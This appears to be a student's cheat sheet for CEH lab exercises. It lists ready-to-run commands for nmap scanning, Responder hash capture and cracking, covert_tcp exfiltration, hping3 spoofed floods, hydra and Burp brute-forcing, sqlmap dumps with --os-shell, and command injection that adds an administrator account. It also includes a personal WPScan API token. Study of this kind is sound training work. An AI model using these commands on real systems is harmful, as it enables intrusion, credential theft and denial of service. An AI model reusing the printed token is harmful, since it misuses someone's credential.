**Lab1-Task1: Host discovery**

* **nmap -sn -PR [IP]**
  + **-sn:** Disable port scan
  + **-PR:** ARP ping scan
* **nmap -sn -PU [IP]**
  + **-PU:** UDP ping scan
* **nmap -sn -PE [IP or IP Range]**
  + **-PE:** ICMP ECHO ping scan
* **nmap -sn -PP [IP]**
  + **-PP:** ICMP timestamp ping scan
* **nmap -sn -PM [IP]**
  + **-PM:** ICMP address mask ping scan
* **nmap -sn -PS [IP]**
  + **-PS:** TCP SYN Ping scan
* **nmap -sn -PA [IP]**
  + **-PA:** TCP ACK Ping scan
* **nmap -sn -PO [IP]**
  + **-PO:** IP Protocol Ping scan

**Lab2-Task3: Port and Service Discovery**

* **nmap -sT -v [IP]**
  + **-sT:** TCP connect/full open scan
  + **-v:** Verbose output
* **nmap -sS -v [IP]**
  + **-sS:** Stealth scan/TCP hall-open scan
* **nmap -sX -v [IP]**
  + **-sX:** Xmax scan
* **nmap -sM -v [IP]**
  + **-sM:** TCP Maimon scan
* **nmap -sA -v [IP]**
  + **-sA:** ACK flag probe scan
* **nmap -sU -v [IP]**
  + **-sU:** UDP scan
* **nmap -sI -v [IP]**
  + **-sI:** IDLE/IPID Header scan
* **nmap -sY -v [IP]**
  + **-sY:** SCTP INIT Scan
* **nmap -sZ -v [IP]**
  + **-sZ:** SCTP COOKIE ECHO Scan
* **nmap -sV -v [IP]**
  + **-sV:** Detect service versions
* **nmap -A -v [IP]**
  + **-A:** Aggressive scan

**Lab3-Task2: OS Discovery**

* **nmap -A -v [IP]**
  + **-A:** Aggressive scan
* **nmap -O -v [IP]**
  + **-O:** OS discovery
* **nmap –script smb-os-discovery.nse [IP]**
  + **-–script:** Specify the customized script
  + **smb-os-discovery.nse:** Determine the OS, computer name, domain, workgroup, and current time over the SMB protocol (Port 445 or 139)

**Module 04: Enumeration**

**Lab2-Task1: Enumerate SNMP using snmp-check**

* nmap -sU -p 161 [IP]
* **snmp-check [IP]**

**Addition**

* nbtstat -a [IP] (Windows)
* nbtstat -c

**Module 06: System Hacking**

**Lab1-Task1: Perform Active Online Attack to Crack the System's Password using Responder**

* **Linux:**
  + cd
  + cd Responder
  + chmox +x ./Responder.py
  + **sudo ./Responder.py -I eth0**
  + passwd: \*\*\*\*
* **Windows**
  + run
  + \CEH-Tools
* **Linux:**
  + Home/Responder/logs/SMB-NTMLv2-SSP-[IP].txt
  + sudo snap install john-the-ripper
  + passwd: \*\*\*\*
  + **sudo john /home/ubuntu/Responder/logs/SMB-NTLMv2-SSP-10.10.10.10.txt**

**Lab3-Task6: Covert Channels using Covert\_TCP**

* **Attacker:**
  + cd Desktop
  + mkdir Send
  + cd Send
  + echo "Secret"->message.txt
  + Place->Network
  + Ctrl+L
  + **smb://[IP]**
  + Account & Password
  + copy and paste covert\_tcp.c
  + **cc -o covert\_tcp covert\_tcp.c**
* **Target:**
  + **tcpdump -nvvx port 8888 -I lo**
  + cd Desktop
  + mkdir Receive
  + cd Receive
  + File->Ctrl+L
  + smb://[IP]
  + copy and paste covert\_tcp.c
  + cc -o covert\_tcp covert\_tcp.c
  + **./covert\_tcp -dest 10.10.10.9 -source 10.10.10.13 -source\_port 9999 -dest\_port 8888 -server -file /home/ubuntu/Desktop/Receive/receive.txt**
  + **Tcpdump captures no packets**
* **Attacker**
  + **./covert\_tcp -dest 10.10.10.9 -source 10.10.10.13 -source\_port 8888 -dest\_port 9999 -file /home/attacker/Desktop/send/message.txt**
  + Wireshark (message string being send in individual packet)

**Module 08: Sniffing**

**Lab2-Task1: Password Sniffing using Wireshark**

* **Attacker**
  + Wireshark
* **Target**
  + [www.moviescope.com](http://www.moviescope.com/)
  + Login
* **Attacker**
  + Stop capture
  + File-&gt;Save as
  + Filter: **http.request.method==POST**
  + RDP log in Target
  + service
  + start Remote Packet Capture Protocol v.0 (experimental)
  + Log off Target
  + Wireshark-&gt;Capture options-&gt;Manage Interface-&gt;Remote Interfaces
  + Add a remote host and its interface
  + Fill info
* **Target**
  + Log in
  + Browse website and log in
* **Attacker**
  + Get packets

**Module 10: Denial-of-Service**

**Lab1-Task2: Perform a DoS Attack on a Target Host using hping3**

* **Target:**
  + Wireshark-&gt;Ethernet
* **Attacker**
  + **hping3 -S [Target IP] -a [Spoofable IP] -p 22 -flood**
    - **-S: Set the SYN flag**
    - **-a: Spoof the IP address**
    - **-p: Specify the destination port**
    - **--flood: Send a huge number of packets**
* **Target**
  + Check wireshark
* **Attacker (Perform PoD)**
  + **hping3 -d 65538 -S -p 21 –flood [Target IP]**
    - **-d: Specify data size**
    - **-S: Set the SYN flag**
* **Attacker (Perform UDP application layer flood attack)**
  + nmap -p 139 10.10.10.19 (check service)
  + **hping3 -2 -p 139 –flood [IP]**
    - **-2: Specify UDP mode**
* **Other UDP-based applications and their ports**
  + CharGen UDP Port 19
  + SNMPv2 UDP Port 161
  + QOTD UDP Port 17
  + RPC UDP Port 135
  + SSDP UDP Port 1900
  + CLDAP UDP Port 389
  + TFTP UDP Port 69
  + NetBIOS UDP Port 137,138,139
  + NTP UDP Port 123
  + Quake Network Protocol UDP Port 26000
  + VoIP UDP Port 5060

**Module 13: Hacking Web Servers**

**Lab2-Task1: Crack FTP Credentials using a Dictionary Attack**

* nmap -p 21 [IP]
* **hydra -L usernames.txt -P passwords.txt ftp://10.10.10.10**

**Module 14: Hacking Web Applications**

**Lab2-Task1: Perform a Brute-force Attack using Burp Suite**

* Set proxy for browser: 127.0.0.1:8080
* Burpsuite
* Type random credentials
* capture the request, right click-&gt;send to Intrucder
* Intruder-&gt;Positions
* Clear $
* Attack type: Cluster bomb
* select account and password value, Add $
* Payloads: Load wordlist file for set 1 and set 2
* start attack
* **filter status==302**
* open the raw, get the credentials
* recover proxy settings

**Lab2-Task3: Exploit Parameter Tampering and XSS Vulnerabilities in Web Applications**

* Log in a website, change the parameter value (id )in the URL
* Conduct a XSS attack: Submit script codes via text area

**Lab2-Task5: Enumerate and Hack a Web Application using WPScan and Metasploit**

* **wpscan --api-token hWt9qrMZFm7MKprTWcjdasowoQZ7yMccyPg8lsb8ads --url** [**http://10.10.10.16:8080/CEH**](http://10.10.10.16:8080/CEH) **--plugins-detection aggressive --enumerate u**
  + **--enumerate u: Specify the enumeration of users**
  + **API Token: Register at** [**https://wpscan.com/register**](https://wpscan.com/register)
  + **Mine: hWt9qrMZFm7MKprTWcjdasowoQZ7yMccyPg8lsb8ads**
* service postgresql start
* msfconsole
* **use auxiliary/scanner/http/wordpress\_login\_enum**
* show options
* **set PASS\_FILE password.txt**
* **set RHOST 10.10.10.16**
* **set RPORT 8080**
* **set TARGETURI** [**http://10.10.10.16:8080/CEH**](http://10.10.10.16:8080/CEH)
* **set USERNAME admin**
* run
* Find the credential

**Lab2-Task6: Exploit a Remote Command Execution Vulnerability to Compromise a Target Web Server (DVWA low level security)**

* If found command injection vulnerability in an input textfield
* | hostname
* | whoami
* **| tasklist| Taskkill /PID /F**
  + **/PID: Process ID value od the process**
  + **/F: Forcefully terminate the process**
* | dir C:\
* **| net user**
* **| net user user001 /Add**
* **| net user user001**
* **| net localgroup Administrators user001 /Add**
* Use created account user001 to log in remotely

**Module 15: SQL Injection**

**Lab1-Task2: Perform an SQL Injection Attack Against MSSQL to Extract Databases using sqlmap**

* Login a website
* Inspect element
* Dev tools-&gt;Console: document.cookie
* **sqlmap -u "**[**http://www.moviescope.com/viewprofile.aspx?id=1**](http://www.moviescope.com/viewprofile.aspx?id=1)**" --cookie="value" –dbs**
  + **-u: Specify the target URL**
  + **--cookie: Specify the HTTP cookie header value**
  + **--dbs: Enumerate DBMS databases**
* Get a list of databases
* Select a database to extract its tables
* **sqlmap -u "**[**http://www.moviescope.com/viewprofile.aspx?id=1**](http://www.moviescope.com/viewprofile.aspx?id=1)**" --cookie="value" -D moviescope –tables**
  + **-D: Specify the DBMS database to enumerate**
  + **--tables: Enumerate DBMS database tables**
* Get a list of tables
* Select a column
* **sqlmap -u "**[**http://www.moviescope.com/viewprofile.aspx?id=1**](http://www.moviescope.com/viewprofile.aspx?id=1)**" --cookie="value" -D moviescope –T User\_Login --dump**
* Get table data of this column
* **sqlmap -u "**[**http://www.moviescope.com/viewprofile.aspx?id=1**](http://www.moviescope.com/viewprofile.aspx?id=1)**" --cookie="value" --os-shell**
* Get the OS Shell
* TASKLIST

**Module 17: Hacking Mobile Platforms**

**Lab 1-Task 4: Exploit the Android Platform through ADB using PhoneSploit**

* cd Phonesploit
* python3 -m pip install colorama
* python3 phonesploit.py
* 3
* 10.10.10.14
* 4
* pwd
* cd sdcard
* cd Download

**Module 20: Cryptography**

**Lab1-Task2: Calculate MD5 Hashes using MD5 Calculator**

* Nothing special

**Lab4-Task1: Perform Disk Encryption using VeraCrypt**

* Click VeraCrypt
* Create Volumn
* Create an encrypted file container
* Specify a path and file name
* Set password
* Select NAT
* Move the mouse randomly for some seconds, and click Format
* Exit
* Select a drive, select file, open, mount
* Input password
* Dismount
* Exit

**Lab4-Task 2: Perform Disk Encryption using BitLocker Drive Encryption**

**Manage BitLocker/ New volume/Turn on BitLocker/ check Use a password to unlock the drive** /input password/

**Module Appendix: Covered Tools**

* **Nmap**
  + Multiple Labs
* **Hydra**
  + Module 13: Lab2-Task1
* **Sqlmap**
  + Module 15: Lab1-Task2
* **WPScan**
  + Module 14: Lab2-Task5
  + wpscan –-url [http://10.10.10.10](http://10.10.10.10/) -t 50 -U admin -P rockyou.txt
* **Nikto**
  + [https://zhuanlan.zhihu.com/p/124246499](https://zhuanlan.zhihu.com/p/124246499%20)
* **John**
  + Module 06: Lab1-Task1
* **Hashcat**
  + **Crack MD5 passwords with a wordlist:**
  + hashcat hash.txt -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
  + **Crack MD5 passwords in a certain format:**
  + hashcat -m 0 -a 3 ./hash.txt 'SKY-HQNT-?d?d?d?d'
  + <https://xz.aliyun.com/t/4008>
  + <https://tools.kali.org/password-attacks/hashcat>
* **Metasploit**
  + Module 14: Lab2-Task5
* **Responder LLMNR**
  + Module 06: Lab1-Task1
* **Wireshark or Tcpdump**
  + Multiple Labs
* **Steghide**
  + **Hide**
  + steghide embed -cf [img file] -ef [file to be hide]
  + steghide embed -cf 1.jpg -ef 1.txt
  + Enter password or skip
  + **Extract**
  + steghide info 1.jpg
  + steghide extract -sf 1.jpg
  + Enter password if it does exist
* **OpenStego**
  + <https://www.openstego.com/>
* **QuickStego**
  + Module 06: Lab0-Task1
* **Dirb (Web content scanner)**
  + <https://medium.com/tech-zoom/dirb-a-web-content-scanner-bc9cba624c86>
  + <https://blog.csdn.net/weixin_44912169/article/details/105655195>
* **Searchsploit (Exploit-DB)**
  + <https://www.hackingarticles.in/comprehensive-guide-on-searchsploit/>
* **Crunch (wordlist generator)**
  + <https://www.cnblogs.com/wpjamer/p/9913380.html>
* **Cewl (URL spider)**
  + <https://www.freebuf.com/articles/network/190128.html>
* **Veracrypt**
  + Module 20: Lab4-Task1
* **Hashcalc**
  + Module 20: Lab1-Task1 (Nothing special)
* **Rainbow Crack**
  + Module 06: Lab0-Task0
* **Windows SMB**
  + smbclient -L [IP]
  + smbclient \ip\sharename
  + nmap -p 445 -sV –script smb-enum-services [IP]
* \*\*Run Nmap at the beginning \*\*
  + nmap -sn -PR 192.168.1.1/24 -oN ip.txt
  + nmap -A -T4 -vv -iL ip.txt -oN nmap.txt
  + nmap -sU -sV -A -T4 -v -oN udp.txt
* **Snow**
* ./snow -C -p "magic" output.txt
* snow -C -m "Secret Text Goes Here!" -p "magic" readme.txt readme2.txt • -m → Set your message • -p → Set your password
* **Rainbowcrack**
  + Use Winrtgen to generate a rainbow table
  + Launch RainbowCrack
  + File->Load NTLM Hashes from PWDUMP File
  + Rainbow Table->Search Rainbow Table
  + Use the generated rainbow table
  + RainbowCrack automatically starts to crack the hashes **QuickStego**
  + Launch QuickStego
  + Open Image, and select target .jpg file
  + Open Text, and select a txt file
  + Hide text, save image file
  + Re-launch, Open Image
  + Select stego file
  + Hidden text shows up